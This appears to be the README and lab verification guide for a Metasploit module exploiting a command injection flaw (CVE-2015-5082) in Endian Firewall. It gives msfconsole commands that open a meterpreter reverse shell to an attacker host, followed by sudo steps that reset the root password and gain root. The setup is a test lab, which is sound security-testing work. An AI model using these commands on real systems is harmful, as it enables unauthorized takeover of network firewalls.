http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082
(CVE is new as of today, so that page may not display correctly yet)
Targets an OS command injection vulnerability in most released versions
of Endian Firewall. Tested successfully against the following versions:
1.1 RC5
2.0
2.1
2.2
2.5.1
2.5.2
Known to not work against the following versions, due to bugs in the
vulnerable CGI script which also prevent normal use of it:
2.3
2.4.0
3.0.0
3.0.5 beta 1
Requires that at least one username and password be defined in the
local auth store for the Squid proxy component on the system, and that
the attacker know that username and password. Administrative or other
credentials are not required.
Provides OS command execution as the "nobody" account, which (on
all tested versions) has sudo permission to (among other things) run
a script which changes the Linux root account's password.
Example usage / output:
```
msf > use exploit/linux/http/efw_chpasswd_exec
msf exploit(efw_chpasswd_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp

Steps to verify module functionality:
Go to http://sourceforge.net/projects/efw/files/Development/
Select version 2, 2.1, 2.2, 2.5.1, or 2.5.2.
Download the ISO file for that version.
Create a VM using the ISO:
For purposes of VM configuration:
- Endian is based on the RHEL/CentOS/Fedora Core Linux
distribution.
- The ISOs will create a 32-bit x86 system.
- 512MB of RAM and 4GB of disk space should be more than enough.
- Be sure to configure the VM with at least two NICs, as the Endian
setup is difficult (impossible?) to complete with less than two
network interfaces on the host.
For the Endian OS-level (Linux) installation:
- Default options are fine where applicable.
- Be sure to pick a valid IP for the "Green" network interface, as
you will use it to access a web GUI to complete the configuration
- If prompted to create a root/SSH password and/or web admin
password, make a note of them. Well, make a note of the web admin
password - the exploit module will let you change the root
password later if you want to. This step is dependent on the
version selected - some will prompt, others default the values to
"endian".
- Once the OS-level configuration is complete, access the web
interface to complete the setup. If you used 172.16.47.1 for the
"Green" interface, then the URL will be
https://172.16.47.1:10443/
- If the web interface is not accessible, reboot the VM (in some
versions, the web interface does not come up until after the
first post-installation reboot).
For the web interface-based configuration:
- If you were prompted to select an admin password, use it. If not,
the username/password is admin/endian.
- Use the second NIC for the "Red" interface. It will not actually
be used during this walkthrough, so feel free to specify a bogus
address on a different/nonexistent subnet. Same for its default
gateway.
- Once the base configuration is complete, access the main web
interface URL again.
- Switch to the Proxy tab.
- Enable the HTTP proxy.
- Click Save (or Apply, depending on version).
- If prompted to apply the settings, do so.
- Click on the Authentication sub-tab.
- Make sure the Authentication Method is Local (this should be the
default).
- Click the _manage users_ (Or _User management_, etc., depending
on version) button.
- Click the _Add NCSA user_ (or _Add a user_, etc.) link.
- Enter "proxyuser" for the username, and "password123" for the
password, or modify the directions below this point accordingly.
- Click the _Create user_ button.
- If prompted to apply the settings, do so.
Module test process:
From within the MSF console, execute these commands:
use exploit/linux/http/efw_chpasswd_exec
set payload linux/x86/meterpreter/reverse_tcp
set LHOST [YOUR_HOST_IP]
set LPORT 443
set RHOST [ENDIAN_GREEN_IP]
set EFW_USERNAME proxyuser
set EFW_PASSWORD password123
exploit
Once Meterpreter connects, execute the following Meterpreter
commands:
getuid
sysinfo
shell
Within the OS shell, execute the following commands:
whoami
uname -a
sudo -l
sudo /usr/local/bin/chrootpasswd
It will appear as though the command has hung, but it is actually
waiting for input. Type "IlikerootaccessandIcannotlie", then press
enter.
Execute the following OS command in the shell:
su
Type "IlikerootaccessandIcannotlie", then press enter.
Verify root access (whoami, etc.).
